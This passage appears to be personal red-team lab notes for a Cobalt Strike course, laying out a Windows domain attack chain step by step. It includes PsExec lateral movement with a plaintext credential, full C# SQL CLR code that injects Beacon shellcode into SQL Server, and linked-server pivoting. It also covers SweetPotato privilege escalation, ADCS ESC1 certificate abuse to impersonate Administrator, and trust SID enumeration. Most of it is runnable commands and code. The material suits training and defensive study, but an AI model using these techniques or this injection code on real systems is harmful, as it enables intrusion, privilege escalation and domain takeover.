make_token CONTOSO\rsteel Passw0rd!
```

Set Service Payload Spawnto

```
ak-settings spawnto_x64 C:\Windows\System32\svchost.exe
```

Move Laterally

```
jump psexec64 lon-ws-1 smb
```

Notes

`ak-settings` is used here because PsExec-style movement creates a service binary payload. That service payload needs its own spawnto behaviour tuned before using the jump command.

Lateral Movement

ScShell

This was the BOF-based service-control movement option from the lab.

```
Scshell
```

Overall Guide

The practical flow I keep from this part of the lab is:

Step	What I Check
Change Malleable profile	Stage block, post-ex block, pipe name, task size
Modify kits	Artifact Kit and Resource Kit
Pre-commands	<code>ak-settings</code> before service-based movement, <code>spawnto</code> before post-ex
Rules	Use domain names instead of IP addresses
New Beacon rules	Check CLM before choosing execution paths

AppLocker

Constrained Language Mode

CLM matters because it affects what .NET and script-based execution can do from a user context.

Check Language Mode

The check from the lab was:

```
$ExecutionContext.SessionState.LanguageMode
```

DLL Test Project

Create a Dynamic-Link Library project in Visual Studio.

Visual Studio > Create a new project > Dynamic-Link Library (DLL)

Project name:

test

DLL Source

Replace the generated `.cpp` file with a DLL export that can be invoked through `rundll32`.

```
#include "pch.h"
#include <windows.h>
#include <stdio.h>

extern "C" __declspec(dllexport) BOOL execute()
{
    MessageBoxA(NULL, "Test", "Test", MB_OK);
    return TRUE;
}
```

Confirm DLL Configuration

Project Properties > Configuration Properties > General > Configuration Type = Dynamic Library (.dll)

Test DLL

The DLL can be tested with `rundll32` depending on architecture.

```
C:\Windows\System32\rundll32.exe test.dll,execute
```

```
C:\Windows\SysWOW64\rundll32.exe test.dll,execute
```

Architecture Note

Architecture matters. A 64-bit process should load a 64-bit DLL, and a 32-bit process should load a 32-bit DLL.

SQL

Enumeration

General

The SQL section starts by loading the SQL-BOF Aggressor script, then using LDAP to identify SQL service accounts and MSSQL SPNs. I care about SQL early because it can become a separate attack path through SQL privileges, linked servers, CLR execution, service accounts, or token privileges on the SQL host.

Load SQL-BOF

Load the SQL-BOF Aggressor script from Cobalt Strike.

```
Cobalt Strike > Script Manager
```

```
Load
```

```
C:\Tools\SQL-BOF\SQL\SQL.cna
```

Find MSSQL SPNs

This LDAP query finds MSSQL servers configured for Kerberos authentication. I run this from a medium-integrity Beacon because it only needs normal domain visibility.

```
ldapsearch (&(samAccountType=805306368)(servicePrincipalName=MSSQLSvc*)) --attributes name,samAccountName,servicePrincipalName
```

Enumerate SQL Server

For the CONTOSO SQL server:

```
sql-info lon-db-1
```

```
sql-whoami lon-db-1
```

For the DUBLIN SQL server:

```
sql-info dub-sql-1
```

```
sql-whoami dub-sql-1
```

Find SQL Admin Groups

This LDAP query is used to look for domain groups that appear related to SQL, databases, or DB administration.

```
ldapsearch (&(samAccountType=268435456)(|(name=*SQL*)(name=*DB*)(name=*Database*))) --attributes distinguishedName,member
```

Impersonate SQL-Related User

When the notes use `rsteel`, I impersonate the account before testing SQL access.

```
make_token CONTOSO\rsteel Passw0rd!
```

SQL Enumeration Notes

I track these details for every SQL host.

Item	Why It Matters
SQL host	The system I am targeting
SQL identity	Shows which SQL login or Windows identity I am mapped to
Sysadmin status	Determines whether CLR and stronger SQL actions may work
SPN	Useful for Kerberos, roasting, and service identity
Linked servers	May create lateral movement paths
Service account	May become a credential or lateral movement path

SQL Code Execution

General

The code execution path in the notes uses SQL CLR. The goal is to load a .NET assembly into SQL Server and have it execute an embedded SMB Beacon shellcode payload inside the SQL Server process.

Check Whether CLR Is Enabled

For CONTOSO:

```
sql-query lon-db-1 "SELECT value FROM sys.configurations WHERE name = 'clr enabled'"
```

For DUBLIN:

```
sql-query dub-sql-1 "SELECT value FROM sys.configurations WHERE name = 'clr enabled'"
```

A value of 0 means CLR is disabled.

Enable CLR

```
sql-enableclr lon-db-1
```

Generate SMB Beacon Shellcode

Generate a stageless SMB Beacon payload.

```
Payloads > Windows Stageless Payload
```

```
Listener: smb
```

```
Output: Raw
```

```
Exit Function: Thread
```

```
Save to C:\Payloads\smb_x64.xthread.bin
```

Create the SQL CLR Project

Create a new Class Library project in Visual Studio.

```
Project name: MyProcedure
```

```
Place in the same directory: Checked
```

Add Shellcode as an Embedded Resource

Add the generated SMB Beacon shellcode as an embedded resource.

```
Right click solution explorer empty space > Add > Existing Item
```

```
C:\Payloads\smb_x64.xthread.bin
```

SQL CLR Source Code

This performs classic injection where the Beacon runs inside the MSSQL process.

```
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [SqlProcedure]
    public static void MyProcedure()
    {
        var assembly = Assembly.GetExecutingAssembly();

        byte[] shellcode;

        using (var rs = assembly.GetManifestResourceStream("MyProcedure.smb_x64.xthread.bin"))
        {
            using (var ms = new MemoryStream())
            {
                rs.CopyTo(ms);
                shellcode = ms.ToArray();
            }
        }

        var hMemory = VirtualAlloc(
            IntPtr.Zero,
            (uint)shellcode.Length,
            VIRTUAL_ALLOCATION_TYPE.MEM_COMMIT | VIRTUAL_ALLO
            CATION_TYPE.MEM_RESERVE,
            PAGE_PROTECTION_FLAGS.PAGE_EXECUTE_READWRITE);
```



```

        WriteProcessMemory(
            new IntPtr(-1),
            hMemory,
            shellcode,
            (uint)shellcode.Length,
            out _);

        var hThread = CreateThread(
            IntPtr.Zero,
            0,
            hMemory,
            IntPtr.Zero,
            THREAD_CREATION_FLAGS.THREAD_CREATE_RUN_IMMEDIATE
LY,
            out _);

        CloseHandle(hThread);
    }

    [DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
    [DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        VIRTUAL_ALLOCATION_TYPE flAllocationType,
        PAGE_PROTECTION_FLAGS flProtect);

    [DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
    [DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
    public static extern bool WriteProcessMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,

```

```

        byte[] lpBuffer,
        uint nSize,
        out uint lpNumberOfBytesWritten);

[DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
[DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
public static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    THREAD_CREATION_FLAGS dwCreationFlags,
    out uint lpThreadId);

[DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
[DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
public static extern bool CloseHandle(IntPtr hObject);

[Flags]
public enum VIRTUAL_ALLOCATION_TYPE : uint
{
    MEM_COMMIT = 0x00001000,
    MEM_RESERVE = 0x00002000,
    MEM_RESET = 0x00080000,
    MEM_RESET_UNDO = 0x01000000,
    MEM_REPLACE_PLACEHOLDER = 0x00004000,
    MEM_LARGE_PAGES = 0x20000000,
    MEM_RESERVE_PLACEHOLDER = 0x00040000,
    MEM_FREE = 0x00010000,
}

[Flags]

```

```

public enum PAGE_PROTECTION_FLAGS : uint
{
    PAGE_NOACCESS = 0x00000001,
    PAGE_READONLY = 0x00000002,
    PAGE_READWRITE = 0x00000004,
    PAGE_WRITECOPY = 0x00000008,
    PAGE_EXECUTE = 0x00000010,
    PAGE_EXECUTE_READ = 0x00000020,
    PAGE_EXECUTE_READWRITE = 0x00000040,
    PAGE_EXECUTE_WRITECOPY = 0x00000080,
    PAGE_GUARD = 0x00000100,
    PAGE_NOCACHE = 0x00000200,
    PAGE_WRITECOMBINE = 0x00000400,
}

[Flags]
public enum THREAD_CREATION_FLAGS : uint
{
    THREAD_CREATE_RUN_IMMEDIATELY = 0x00000000,
    THREAD_CREATE_SUSPENDED = 0x00000004,
    STACK_SIZE_PARAM_IS_A_RESERVATION = 0x00010000,
}
}

```

Load the CLR Assembly

```

sql-clr lon-db-1 C:\Users\Attacker\source\repos\MyProcedure\bin\Release\MyProcedure.dll MyProcedure

```

Link to the New SMB Beacon

```

link lon-db-1 TSVCPIPE-4b2f70b3-ceba-42a5-a4b5-704e1c41337

```

CIFS Ticket Note

This command may fail with `ERROR_LOGON_FAILURE` if there is no CIFS service ticket or TGT in the Beacon session.

The two options from the notes are:

Option	Meaning
Use the <code>pchild</code> Beacon	Windows can automatically request the service ticket using that user's TGT.
Use <code>rsteel</code> TGT	Request a CIFS service ticket manually and import it into the session.

Disable CLR

```
sql-disableclr lon-db-1
```

SQL CLR Notes

The CLR payload gives an SMB Beacon running inside the SQL Server process. The key things to track are the SQL host, the SQL context, whether CLR was enabled, the DLL path, and the named pipe used to link to the Beacon.

SQL Lateral Movement

General

The SQL lateral movement path uses linked servers. The idea is to use access on one SQL server to reach another SQL server, check whether RPC Out is enabled, enable it if needed, and then execute the same CLR payload through the link.

Enumerate SQL Links

```
sql-links lon-db-1
```

Verify Privileges Through the Link

```
sql-whoami lon-db-1 "" lon-db-2
```

Check RPC Out

```
sql-checkrpc lon-db-1
```

Enable RPC Out

```
sql-enablerpc lon-db-1 lon-db-2
```

Execute CLR Through Linked Server

```
sql-clr lon-db-1 C:\Users\Attacker\source\repos\MyProcedure\bin\Release\MyProcedure.dll MyProcedure "" lon-db-2
```

Link to Beacon on Linked SQL Server

The Beacon on `lon-db-2` is linked from the Beacon running on `lon-db-1`.

```
link lon-db-2 TSVCPIPE-4b2f70b3-ceba-42a5-a4b5-704e1c41337
```

Disable RPC Out

```
sql-disablerpc lon-db-1 lon-db-2
```

SQL Link Notes

Linked servers can turn one SQL foothold into another host. The key things I track are:

Item	Why It Matters
Starting SQL server	Where I already have access

Item	Why It Matters
Linked SQL server	Where I want to move
RPC Out	Required for remote procedure execution through the link
SQL context	Determines whether the linked path is useful
CLR status	Determines whether CLR execution is available
Beacon pipe	Needed to link the SMB Beacon

SQL Privilege Escalation

General

After getting a Beacon on the SQL server, I check whether the SQL service context has `SeImpersonatePrivilege`. If it does, the lab path uses SweetPotato with a localhost-only TCP payload to get a higher-privileged Beacon.

Token Privilege Finding

On the new SQL Beacon, the important finding is:

```
SeImpersonatePrivilege is Enabled.
```

Generate TCP Local Payload

Generate a localhost-only TCP executable payload.

```
Payloads > Windows Stageless Payload
```

```
Listener: tcp-local
```

```
Save to C:\Payloads\tcp-local_x64.exe
```

Change Beacon Working Directory

```
cd C:\Windows\ServiceProfiles\MSSQLSERVER\AppData\Local\Microsoft\WindowsApps
```

Upload TCP Local Payload

```
upload C:\Payloads\tcp-local_x64.exe
```

Execute SweetPotato

```
execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p "C:\Windows\ServiceProfiles\MSSQLSERVER\AppData\Local\Microsoft\WindowsApps\tcp-local_x64.exe"
```

Connect to the New Beacon

```
connect localhost 1337
```

SQL Privilege Escalation Notes

This path matters because SQL service contexts often have powerful local privileges. Once the SQL Beacon exists, I check privilege state first before deciding whether to use SweetPotato.

ADCS

Enumeration

General

ADCS enumeration starts by checking vulnerable templates, then listing enabled templates more broadly if the vulnerable-only filter does not show the full path. The focus is on templates that allow user-controlled identity fields or certificate-based authentication as another user.

Enumerate Vulnerable Templates

```
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe enum-templates --filter  
-enabled --filter-vulnerable --hide-admins --quiet
```

List Enabled Templates

This is useful when a vulnerable template applies only to a specific user or group and does not immediately appear in the filtered output.

```
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe enum-templates --hide-a  
dmins --filter-enabled
```

ESC1

General

ESC1 is the certificate abuse path where a template lets the requester supply an identity value such as a UPN. In the lab, the certificate is requested for **Administrator**, then used with Rubeus to request a TGT.

Request Certificate

```
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request --ca "lon-cs-1.  
contoso.com\CONTOSO Root CA" --template ESC1 --upn Administrator --quiet
```

Convert Certificate to TGT

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:Administrator  
/domain:CONTOSO.COM /certificate:[CERT] /enctype:aes256 /nowrap
```

ESC1 Notes

The important thing to record is the CA, template, requested identity, returned certificate, and whether the resulting TGT works for the next access path.

Trusts

Child to Parent

General

The trust section starts with identifying the parent domain SID. This is needed for child-to-parent escalation paths where SID relationships matter.

Get Parent Domain SID

```
ldapsearch (objectClass=domain) --attributes objectSid --hostname lon-dc-1.contoso.com --  
dn DC=contoso,DC=com
```

Notes

For trust abuse, I always track the current domain SID, target domain SID, trust direction, and the privileged SID being targeted.

Trusts

Child to Parent

General

This section is for understanding the child-to-parent trust path. Before doing anything with tickets, SIDs, or cross-domain access, I first need to identify the parent domain SID and confirm the trust relationship.

The key thing I track here is the SID relationship between the current domain and the parent domain. If the path involves child-to-parent escalation, the parent domain SID and privileged parent-domain group SIDs become important.

Discover Trusts

This LDAP query shows the trusted domains and the trust partner names.

```
ldapsearch (objectClass=trustedDomain) --attributes name,trustPartner,trustAttributes
```

Get Parent Domain SID

This gets the SID of the parent domain directly from the parent domain object.

```
ldapsearch (objectClass=domain) --attributes objectSid --hostname lon-dc-1.contoso.com --  
dn DC=contoso,DC=com
```

Notes

For child-to-parent paths, I always write down the trust information before touching Kerberos material.

Item	Why It Matters
Current domain	The domain where the current access exists
Parent domain	The domain being targeted through the trust
Current domain SID	Needed for domain-specific ticket or SID work
Parent domain SID	Needed to identify parent-domain privileged SIDs
Trust partner	Confirms which domain is trusted
Trust attributes	Helps understand the trust type and behavior
Target privileged SID	The final SID that matters for the escalation path

The important point is that the trust relationship decides what is possible. I do not assume child-to-parent access works just because a trust exists. I first confirm the parent SID, the trust details, and the exact privileged SID that would matter for the path.